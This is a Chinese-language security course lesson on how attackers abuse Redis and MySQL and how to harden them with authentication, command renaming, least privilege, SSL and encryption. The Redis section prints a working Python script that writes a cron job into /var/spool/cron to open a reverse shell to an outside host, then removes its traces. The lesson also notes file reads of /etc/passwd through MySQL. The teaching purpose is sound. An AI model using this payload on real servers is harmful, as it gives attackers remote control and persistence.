You cannot select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

151 lines
12 KiB
Markdown

This file contains ambiguous Unicode characters!

This file contains ambiguous Unicode characters that may be confused with others in your current locale. If your use case is intentional and legitimate, you can safely ignore this warning. Use the Escape button to highlight these characters.

# 16 | 数据库安全:数据库中的数据是如何被黑客拖取的?
你好,我是何为舟。
说到数据库你肯定会说“数据库是我最熟悉的工具了。利用它我能够设计复杂的表结构、写出炫酷的SQL语句、优化高并发场景下的读写性能。”当然我们的日常工作离不开数据库的使用。而且数据库中储存的大量机密信息对于公司和用户都至关重要。
那关于数据库的安全你知道多少呢?你知道数据库是如何进行认证的吗?使用数据库交换数据的过程是安全的吗?假如黑客连入了数据库,又会发生什么呢?
今天我就以两种比较常见的数据库Redis和MySQL为例来和你一起探讨数据库的安全。
## Redis安全
我们首先来看Redis。我们都知道Redis是一个高性能的KV结构的数据库。Redis的设计初衷是在可信的环境中提供高性能的数据库服务。因此Redis在设计上没有过多地考虑安全性甚至可以说它刻意地牺牲了一定的安全性来获取更高的性能。
那在安全性不高的情况下黑客连入Redis能做什么呢最直接的黑客能够任意修改Redis中的数据。比如通过一个简单FLUSHALL命令黑客就能够清空整个Redis的数据了。
复杂一些的黑客还可以发起权限提升通过Redis在服务器上执行命令从而控制整个服务器。但是Redis本身不提供执行命令的功能那么黑客是如何让Redis执行命令的呢我们一起来看一下具体的代码流程。
```
r = redis.Redis(host=10.0.0.1, port=6379, db=0, socket_timeout=10)
payload = '\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/1.2.3.4/8080 0>&1\n\n'
path = '/var/spool/cron'
name = 'root'
key = 'payload'
r.set(key, payload)
r.config_set('dir', path)
r.config_set('dbfilename', name)
r.save()
r.delete(key) # 清除痕迹
r.config_set('dir', '/tmp')
```
针对这个过程,我来详细解释一下,你可以结合代码来看。
* 黑客连入Redis。
* 黑客写入一个任意的Key对应的Value是想要执行的命令并按照Crontab的格式进行拼接。代码如下
```
*/1* * * * /bin/bash -i >& /dev/tcp/1.2.3.4/80800>&1
```
* 黑客调用config\_set方法就是通过Redis的CONFIG命令将Redis数据持久化的目录修改成/var/spool/cron。
* 黑客调用save方法通过Redis的SAVE命令发起Redis的数据持久化功能。最终Redis将数据写入到/var/spool/cron中。写入的文件效果如下
![](https://static001.geekbang.org/resource/image/6e/81/6e78c556b7f2d5d5c4fc0d1d5bd93281.png)
* Crontab对于无法解析的数据会直接跳过因此开头和结尾的乱码不会影响Crontab的执行。最终Crontab会执行到Value中对应的命令。
这样一来黑客就“聪明”地利用Redis保存文件的功能修改了Crontab然后利用Crontab执行了命令。
那么我们该如何对Redis进行安全防护呢这里就需要提到我们前面讲过的“黄金法则”和“最小权限原则”了。
首先从认证上来说Redis提供了最简单的密码认证功能。在Redis的配置文件中只要增加一行requirepass 123456我们就能够为Redis设置一个密码了。但是这里有两点需要你注意。
* Redis的性能很高理论上黑客能够以每秒几十万次的速度来暴力猜测密码。因此你必须设置一个足够强的密码。我比较推荐随机生成一个32位的“数字加字母”的密码。而且Redis的密码直接保存在配置文件当中你并不需要记忆它需要的时候直接查看就好了。
* Redis是为了高性能而设计的。之所以Redis默认不配置密码就是因为密码会影响性能。按照我之前的测试加上密码之后Redis的整体性能会下降20%左右。这也是很多开发和运维明明知道Redis有安全风险仍然保持无密码状态的原因。所以是否给Redis设置密码还需要你根据实际的情况进行权衡。
其次是进行授权。尽管Redis本身不提供授权机制但是我们仍然可以通过“重命名”来间接地实现授权功能。我们可以在Redis的配置文件中加入rename-command CONFIG pUVEYEvdaGH2eAHmNFcDh8Qf9vOej4Ho就可以将CONFIG功能的关键词变成一个随机的字符串黑客不知道这个字符串就无法执行CONFIG功能了。而且你仍然可以通过新的命令来正常地使用CONFIG功能不会对你的正常操作产生任何影响。
现在你应该已经知道在认证和授权上我们能使用的防护手段了。那在审计上因为Redis只提供了基本的日志功能日志等级分为Debug、Verbose、Notice和Warning实用信息不多也就没有太多的应用价值。
除了认证和授权如果你还想要对Redis中的数据进行加密那你只能够在客户端中去集成相应的功能因为Redis本身不提供任何加密的功能和服务。
最后我们还要避免使用ROOT权限去启动Redis这就需要用到“最小权限原则”了。在前面命令执行的例子中黑客是通过Redis的保存功能将命令“写入Crontab”来实现的命令执行功能。而“写入Crontab”这个操作其实是需要ROOT权限的。因此我们以一个低权限的用户比如nobody身份来启动Redis就能够降低黑客连入Redis带来的影响了。当然Redis本身也需要保存日志和持久化数据所以它仍然需要写入日志文件的权限小于ROOT权限来保证正常运行。
总结来说Redis是一个极度看重性能的数据库为了性能舍弃掉了部分的安全功能。我们可以通过“增加密码”“使用最小权限原则”和“授权”的方式在一定程度上提升Redis的安全性。但是这些防护手段更多的是一种缓解机制为了保证安全性我们最好是只在可信的网络中使用Redis。
## MySQL安全
讲到这里,你现在应该也能总结出,黑客攻击数据库的主要方式,除了执行各种命令对数据库中的数据进行“增删改查”,就是在连入数据库后,通过各种手段实现命令执行,最终控制整个服务器。
那在MySQL中黑客的攻击方式又有什么不同呢
因为MySQL的功能十分强大自身就提供了和本地文件交互的功能。所以通过LOAD DATA INFILEMySQL可以读取服务器的本地文件通过SELECT … INTO DUMPFILEMySQL也能够将数据写入到本地文件中。因此在黑客连入MySQL之后通过读文件的功能黑客就能够对服务器的任意文件进行读取比如敏感的/etc/passwd或者应用的源代码等通过写文件的功能则可以仿照Redis修改Crontab的原理实现命令执行的功能。
相比于RedisMySQL是一个比较成熟的数据库工具自身的安全性就很高所以通过正确地配置MySQL的安全选项我们就能够获得较高的安全保障。
那么MySQL在黄金法则和加密上分别提供了哪些功能呢
MySQL提供了多用户的认证体系它将用户的相关信息认证信息、权限信息都存储在了mysql.user这个系统表中。利用这个系统表MySQL可以通过增删改查操作来定义和管理用户的认证信息、权限列表等。
除此之外在认证上MySQL还提供了比较完善的密码管理功能它们分别是
* 密码过期,强制用户定期修改密码;
* 密码重用限制,避免用户使用旧的密码;
* 密码强度评估,强制用户使用强密码;
* 密码失败保护,当用户出现太多密码错误的尝试后锁定账户。
那么,通过这些密码管理的机制,你就能够拥有一个相对安全的认证体系了。
在多用户的认证体系中授权是必不可少的。那MySQL中的授权机制是怎样的呢
```
GRANT ALL PRIVILEGES ON db.table TO user@"127.0.0.1" IDENTIFIED BY "password"
```
我们通过修改权限的GRANT命令来具体分析一下MySQL授权机制中的主体、客体和请求。
* 主体user@“127.0.0.1” IDENTIFIED BY “password”MySQL的主体是通过用户名、IP和密码这三个信息组合起来进行标记的。
* 客体db.tableMySQL的客体是数据库和表。
* 请求ALL PRIVILEGESMySQL将请求的类型定义成了特权PRIVILEGES。常见的特权有INSERT、DELETE等增删改查操作如果你想要了解其他更细粒度的特权可以在[官方文档](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html)中进行查看)。
除此之外MySQL也定义了ROLE的概念你可以基于这个功能去实现role-BAC机制。
虽然和Redis一样MySQL本身也不提供审计功能。但是MySQL可以通过第三方插件来提供审计的服务。比如McAfee提供的[mysql-audit](https://github.com/mcafee/mysql-audit)以及[MariaDB Audit Plugin](https://mariadb.com/kb/en/library/mariadb-audit-plugin-log-settings/)。这些插件能够自动收集必要的MySQL操作信息并推送到你的ELK等日志集群中方便你进行持续的审计操作。
在加密方面MySQL既提供传输过程中SSLSecurity Socket Layer加密也提供存储过程中硬盘加密。
我们首先来看MySQL的SSL加密功能。开启SSL功能需要在配置文件中配置如下命令
```
[mysqld]
ssl-ca=ca.pem
ssl-cert=server-cert.pem
ssl-key=server-key.pem
```
但是这些配置并不能强制客户端使用SSL连接。想要杜绝全部非安全连接的话我们可以在配置文件中添加require\_secure\_transport=ON来进行强制限制。
接着我们来看MySQL中提供的硬盘加密功能。硬盘加密过程主要涉及两个密钥一个主密钥和一个表密钥。表密钥由MySQL随机生成通过主密钥进行加密后存储在表头信息中。因此每一个表格都拥有不同的密钥。
MySQL的加密功能是由keyring\_file这个插件来提供的。需要注意的是当keyring\_file第一次启动的时候它会生成一个主密钥文件在当前的系统中。你一定要备份这个密钥文件因为它一旦丢失数据库中的全部数据都将因为无法解密而丢失。
现在你应该了解了MySQL在黄金法则上都提供了哪些功能。接下来我们再来看“最小权限原则”。
和Redis一样MySQL也需要避免以ROOT权限启动。不一样的是MySQL默认提供了这样的能力当我们在Linux中通过mysqld来启动MySQL进程的时候mysqld会自动创建一个具备最小权限的mysql用户并赋予这个用户对应日志文件的权限保证MySQL拥有必要的最小权限。
总之MySQL是一个非常成熟的数据库工具它提供了完整的安全功能。通过对认证、授权、审计和加密功能的正确配置你就能够迅速提升MySQL的整体安全性。
## 总结
今天我们以Redis和MySQL这两种比较典型的数据库为例对它们的安全性以及攻破后能产生的危害进行了分析。在这里我把安全防护的关键内容总结了一张表格希望能够帮助你加深理解。
![](https://static001.geekbang.org/resource/image/cf/38/cfef962b04ea94100920d60188996638.jpeg)
通过对这两种数据库的分析,我们知道,数据库面临的威胁不只存在于数据本身,也会影响到数据库所在的服务器。在数据库本身的安全防护上,我们可以通过对“黄金法则”的运用,在认证、授权、审计和加密方面,为其设置一定的保护能力。同时,为了避免数据库对服务器的衍生影响,我们也应该落实“最小权限原则”, 避免以ROOT权限去启动数据库服务。
当然,目前成熟的数据库产品肯定不止这两种。但是,我希望通过对这两种数据库的安全分析,让你掌握数据库安全的主要内容,在实际工作中,能够做到活学活用,自主去分析你用到的数据库。
## 思考题
最后,让我们来看一道思考题。
在实际工作除了Redis和MySQL你还会用到哪些数据库你可以思考一下这些数据库有哪些安全事项呢你可以按照我给出的表格试着总结出相关的安全防护手段。
欢迎留言和我分享你的思考和疑惑,也欢迎你把文章分享给你的朋友。我们下一讲再见!